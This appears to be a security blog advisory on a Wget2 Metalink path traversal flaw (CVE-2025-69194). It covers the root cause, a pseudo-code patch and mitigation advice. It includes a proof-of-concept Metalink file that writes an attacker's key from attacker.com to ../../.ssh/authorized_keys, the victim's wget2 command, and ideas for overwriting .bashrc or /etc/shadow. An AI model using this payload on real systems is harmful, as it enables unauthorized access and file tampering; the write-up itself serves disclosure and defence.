Feb 18, 2026·6 min read·2 visits
Wget2 trusts Metalink filenames blindly. An attacker can craft a `.metalink` file that tells Wget2 to save a download as `../../.ssh/authorized_keys`. When processed, this grants the attacker SSH access to your machine. Patch to 2.2.1 immediately.
A high-severity path traversal vulnerability in GNU Wget2 (versions <= 2.2.0) allows attackers to overwrite arbitrary files on the victim's system. By crafting a malicious Metalink file containing directory traversal sequences (e.g., `../../`), an attacker can bypass the intended download directory restrictions. If a user processes this file with the `--force-metalink` option, Wget2 blindly follows the instructions, potentially overwriting sensitive configuration files like `.ssh/authorized_keys` or `.bashrc`, leading to Remote Code Execution (RCE). The flaw resides in `libwget`'s failure to sanitize filename attributes within the Metalink XML parser.
We all love resilience. In the chaotic world of the internet, where connections drop and mirrors vanish, protocols like Metalink are a godsend. They allow a download client to fetch a single file from multiple sources (mirrors, P2P) and verify its integrity with checksums. It’s the "smart" way to download Linux ISOs and large datasets. But in the security world, "smart" features are often just complex attack surfaces waiting to be exploited.
Enter GNU Wget2, the modern successor to the legendary wget. It's faster, supports HTTP/2, and has a robust libwget library under the hood. However, in versions prior to 2.2.1, Wget2 made a classic, almost nostalgic mistake: it trusted the internet. specifically, it trusted the <file> tags inside a Metalink XML document a little too much.
This isn't just a bug; it's a logic flaw in how trust is delegated. The user trusts Wget2 to put files in the current directory. Wget2 trusts the Metalink file to say where the data goes. The Metalink file, however, is controlled by the attacker. When that chain of trust breaks, you end up with CVE-2025-69194, a vulnerability that turns a simple download command into a mechanism for rewriting your system configuration.
The vulnerability lies deep within the XML parsing logic of libwget, specifically in how it handles the name attribute of the <file> element in Metalink files. In a sane world, if a remote file says "save me as ../../etc/passwd," the download client should laugh and strip the directory traversal characters or reject the file entirely. That is Input Validation 101.
However, Wget2's Metalink parser (located in libwget/metalink.c) treated the filename attribute as a direct instruction rather than a suggestion. It took the string provided in the XML and passed it along to the file writing routines without sufficient sanitization. This is CWE-22 (Path Traversal) in its purest form.
The dangerous scenario triggers when the user forces Metalink processing using --force-metalink or when Wget2 automatically detects a Metalink response header. The parser extracts the filename, sees the ../ sequences, and instead of neutralizing them, it hands them to the filesystem API. The operating system, doing exactly what it's told, traverses up the directory tree and writes the malicious payload wherever the attacker specified.
Let's look at the logic failure. While we won't paste the entire source tree, the essence of the bug is in the handling of the metalink_file_t structure. In the vulnerable code, the parser extracts the name attribute from the XML node and assigns it to the internal file structure without checking for "dot-dot-slash" sequences.
The fix, applied in commit 485c6aa5ba38cb369c6eb8564ea97cddc854049e, introduces strict validation. The developers had to explicitly add a check to reject or sanitize filenames containing path traversal attempts. Here is a conceptual representation of the patch:
// Pseudo-code representation of the fix logic in libwget/metalink.c
static int parse_metalink_file(xml_node *node, metalink_file_t *file) {
char *name = get_xml_attribute(node, "name");
- // Vulnerable: blindly accepting the name
- file->name = wget_strdup(name);
+
+ // Fixed: Sanitize or Reject
+ if (wget_str_has_path_traversal(name)) {
+ log_error("Security: Malicious filename detected in Metalink: %s", name);
+ free(name);
+ return METALINK_PARSE_ERROR;
+ }
+
+ // Ideally, strip paths entirely and only keep the basename
+ file->name = wget_strdup(wget_basename(name));
}By ensuring that the filename is reduced to its basename (stripping directory components) or explicitly rejecting ../, the attack surface is closed. It’s a simple check, but its absence was catastrophic.
Exploiting this is trivially easy once you understand the Metalink format. An attacker doesn't need binary exploitation skills, heap feng shui, or ROP chains. They just need to write a text file. Here is how a real-world attack scenario plays out.
First, the attacker crafts a malicious pwn.metalink file. The goal is to overwrite the victim's SSH authorized keys to gain persistent access.
<?xml version="1.0" encoding="utf-8"?>
<metalink xmlns="urn:ietf:params:xml:ns:metalink">
<!-- The trap: traversing out of the download folder into SSH config -->
<file name="../../.ssh/authorized_keys">
<size>1024</size>
<url>http://attacker.com/ssh_pub_key.txt</url>
<!-- Fake hash to satisfy the parser -->
<hash type="sha-256">a5b... (hash of the key)</hash>
</file>
</metalink>Next, the attacker hosts this file and convinces the victim to download it. Maybe they disguise it as a "secure downloader" for a game patch or a driver update:
# Victim executes the following:
wget2 --force-metalink http://attacker.com/pwn.metalinkWhen Wget2 runs this command, it parses the XML, sees the target filename ../../.ssh/authorized_keys, fetches the content from http://attacker.com/ssh_pub_key.txt, and writes it to the victim's SSH directory. The next time the attacker ssh's into the box, they are logged in as the victim. Game over.
This vulnerability is rated High (CVSS 8.8) for a reason. Arbitrary File Write is often just one step away from Remote Code Execution. In Linux environments, everything is a file. If I can write to a file, I can change how the system behaves.
Scenario A: RCE via Configuration. Overwriting ~/.bashrc or ~/.bash_profile. The next time the user opens a terminal, the malicious code executes. This is the most common persistence method.
Scenario B: RCE via SSH. As demonstrated, overwriting .ssh/authorized_keys grants immediate remote shell access. If the victim is running Wget2 as root (god forbid, but it happens in automated cron scripts), the attacker could overwrite /etc/shadow or /etc/passwd to reset the root password.
Scenario C: Denial of Service. Overwriting critical system binaries or libraries with garbage data, rendering the system unbootable or applications unusable. For a server running automated download tasks, this could be a silent killer, laying dormant until the specific Metalink file is processed.
The remediation is straightforward: Update GNU Wget2 immediately. The patched version is 2.2.1. If you are on a rolling release distro like Arch or Tumbleweed, you likely already have it. If you are on a stable LTS distro, check your security trackers (Debian Tracker, Ubuntu USN) specifically for wget2 patches.
If you cannot update immediately, you must apply mitigations. The most effective workaround is operational: Do not use the --force-metalink flag on untrusted URLs. Furthermore, strictly validate any Metalink files before passing them to Wget2.
For developers and security teams, this serves as a reminder: Never assume a library handles path traversal for you. If your application accepts filenames from an external source (user input, API response, XML, JSON), you must explicitly sanitize that input to ensure it stays within the intended directory jail (chroot or logical bounds).
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
GNU Wget2 GNU | <= 2.2.0 | 2.2.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| CVSS v3.1 | 8.8 (High) |
| Attack Vector | Network (AV:N) |
| Impact | High Integrity/Confidentiality Loss |
| Exploit Status | PoC Available |
| EPSS Score | 0.00055 (Low Probability) |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.